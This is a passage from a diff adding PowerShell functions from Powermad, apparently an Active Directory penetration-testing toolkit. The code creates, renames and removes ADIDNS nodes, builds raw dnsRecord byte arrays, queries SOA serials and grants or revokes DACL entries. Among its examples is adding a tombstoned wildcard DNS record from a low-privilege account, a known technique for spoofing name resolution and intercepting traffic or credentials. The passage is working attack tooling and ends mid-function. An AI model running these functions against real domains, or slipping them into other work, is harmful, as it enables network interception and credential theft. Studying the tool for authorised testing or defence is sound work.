Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE) + $directory_entry.psbase.CommitChanges() + + if($Node) + { + Write-Output "[+] ACE added for $Principal to $Node DACL" + } + else + { + Write-Output "[+] ACE added for $Principal to $Zone DACL" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function New-ADIDNSNode +{ + <# + .SYNOPSIS + This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP + add request. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode. + + .PARAMETER Credential + PSCredential object that will be used to add the ADIDNS node. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER DNSRecord + dnsRecord attribute byte array. If not specified, New-DNSRecordArray will generate the array. See MS-DNSP for + details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is mandatory on a non-domain attached system. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Forest + The targeted forest in DNS format. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. This parameter is mandatory on a non-domain attached system. + + .EXAMPLE + Add a wildcard record to an ADIDNS zone and tombstones the node. + New-ADIDNSNode -Node * -Tombstone + + .EXAMPLE + Add a wildcard record to an ADIDNS zone from a non-domain attached system. + $credential = Get-Credential + New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$DomainController -or !$Domain -or !$Zone -or !$Forest) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Forest) + { + $Forest = $current_domain.Forest + Write-Verbose "[+] Forest = $Forest" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" + $forest_array = $Forest.Split(".") + + ForEach($DC in $forest_array) + { + $object_category += ",DC=$DC" + } + + try + { + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null + + if($Tombstone) + { + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null + } + + $connection.SendRequest($request) > $null + Write-Output "[+] ADIDNS node $Node added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + +} + +function New-SOASerialNumberArray +{ + <# + .SYNOPSIS + This function gets the current SOA serial number for a DNS zone and increments it by the + set amount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to create a byte array which contains the correct SOA serial number for the + next record that will be created with New-DNSRecordArray. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Zone + The DNS zone. + + .PARAMETER Increment + Default = 1: The number that will be added to the SOA serial number pulled from a DNS server. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .EXAMPLE + Generate a byte array from the currect SOA serial number incremented by one. + New-SOASerialNumberArray + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Increment = 1, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$SOASerialNumber) + { + + if(!$DomainController -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + $Zone = $Zone.ToLower() + + function Convert-DataToUInt16($Field) + { + [Array]::Reverse($Field) + return [System.BitConverter]::ToUInt16($Field,0) + } + + function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) + { + + ForEach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function New-RandomByteArray + { + param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) + + [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) + [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $random + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + function New-PacketDNSSOAQuery + { + param([String]$Name) + + [Byte[]]$type = 0x00,0x06 + [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + [Byte[]]$transaction_ID = New-RandomByteArray 2 + $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQuery.Add("Length",$length) + $DNSQuery.Add("TransactionID",$transaction_ID) + $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) + $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("Queries_Name",$name) + $DNSQuery.Add("Queries_Type",$type) + $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) + + return $DNSQuery + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + try + { + $DNS_client.Connect($DomainController,"53") + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $packet_DNSQuery = New-PacketDNSSOAQuery $Zone + [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_client.Close() + $DNS_client_stream.Close() + + if($DNS_client_receive[9] -eq 0) + { + Write-Output "[-] $Zone SOA record not found" + } + else + { + $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) + $DNS_reply_converted = $DNS_reply_converted -replace "-","" + $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") + $SOA_answer_index = $SOA_answer_index / 2 + $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] + $SOA_length = Convert-DataToUInt16 $SOA_length + [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] + $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] + } + + } + catch + { + Write-Output "[-] $DomainController did not respond on TCP port 53" + } + + } + else + { + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3] + } + + return ,$SOA_serial_number_array +} + +function New-DNSRecordArray +{ + <# + .SYNOPSIS + This function creates a valid byte array for the dnsRecord attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid + array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DomainController + Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain + attached system. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The DNS zone that will be passed to New-SOASerialNumberArray. + + .EXAMPLE + Create a dnsRecord array for an A record pointing to 192.168.0.1. + New-DNSRecordArray -Type A -Data 192.168.0.1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + [OutputType([Byte[]])] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$Data -and $Type -eq 'A') + { + + try + { + $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + Write-Verbose "[+] Data = $Data" + } + catch + { + Write-Output "[-] Error finding local IP, specify manually with -Data" + throw + } + + } + elseif(!$Data) + { + Write-Output "[-] -Data required with record type $Type" + throw + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + switch ($Type) + { + + 'A' + { + [Byte[]]$DNS_type = 0x01,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'AAAA' + { + [Byte[]]$DNS_type = 0x1c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'CNAME' + { + [Byte[]]$DNS_type = 0x05,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'DNAME' + { + [Byte[]]$DNS_type = 0x27,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'MX' + { + [Byte[]]$DNS_type = 0x0f,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'NS' + { + [Byte[]]$DNS_type = 0x02,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'PTR' + { + [Byte[]]$DNS_type = 0x0c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'SRV' + { + [Byte[]]$DNS_type = 0x21,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'TXT' + { + [Byte[]]$DNS_type = 0x10,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1] + [Byte[]]$DNS_data = $Data.Length + $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data) + } + + } + + [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL) + [Byte[]]$DNS_record = $DNS_length + + $DNS_type + + 0x05,0xF0,0x00,0x00 + + $SOASerialNumberArray[0..3] + + $DNS_TTL[3..0] + + 0x00,0x00,0x00,0x00 + + if($Static) + { + $DNS_record += 0x00,0x00,0x00,0x00 + } + else + { + $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + $timestamp = $timestamp[0..3] + $DNS_record += $timestamp + } + + $DNS_record += $DNS_data + + return ,$DNS_record +} + +function Rename-ADIDNSNode +{ + <# + .SYNOPSIS + This function renames an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old + record within DNS. + + .PARAMETER Credential + PSCredential object that will be used to rename the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The source ADIDNS node name. + + .PARAMETER NodeNew + The new ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Renames an ADIDNS node named test to test2. + Rename-ADIDNSNode -Node test -NodeNew test2 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][String]$NodeNew = "*", + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.Rename("DC=$NodeNew") + Write-Output "[+] ADIDNS node $Node renamed to $NodeNew" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-ADIDNSNode +{ + <# + .SYNOPSIS + This function removes an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and + allowed to repliate to all domain controllers, the record will remain in DNS. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Removes a wildcard node. + Remove-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] ADIDNS node $Node removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Revoke-ADIDNSPermission +{ + <# + .SYNOPSIS + This function removes an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function is mainly for removing the ACE associated with the user that created the DNS node + after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones, + non-administrators will rarely have the ability to modify a DNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Principal + The ACE user or group. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Remove the GenericAll ACE associated for the user1 account. + Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type 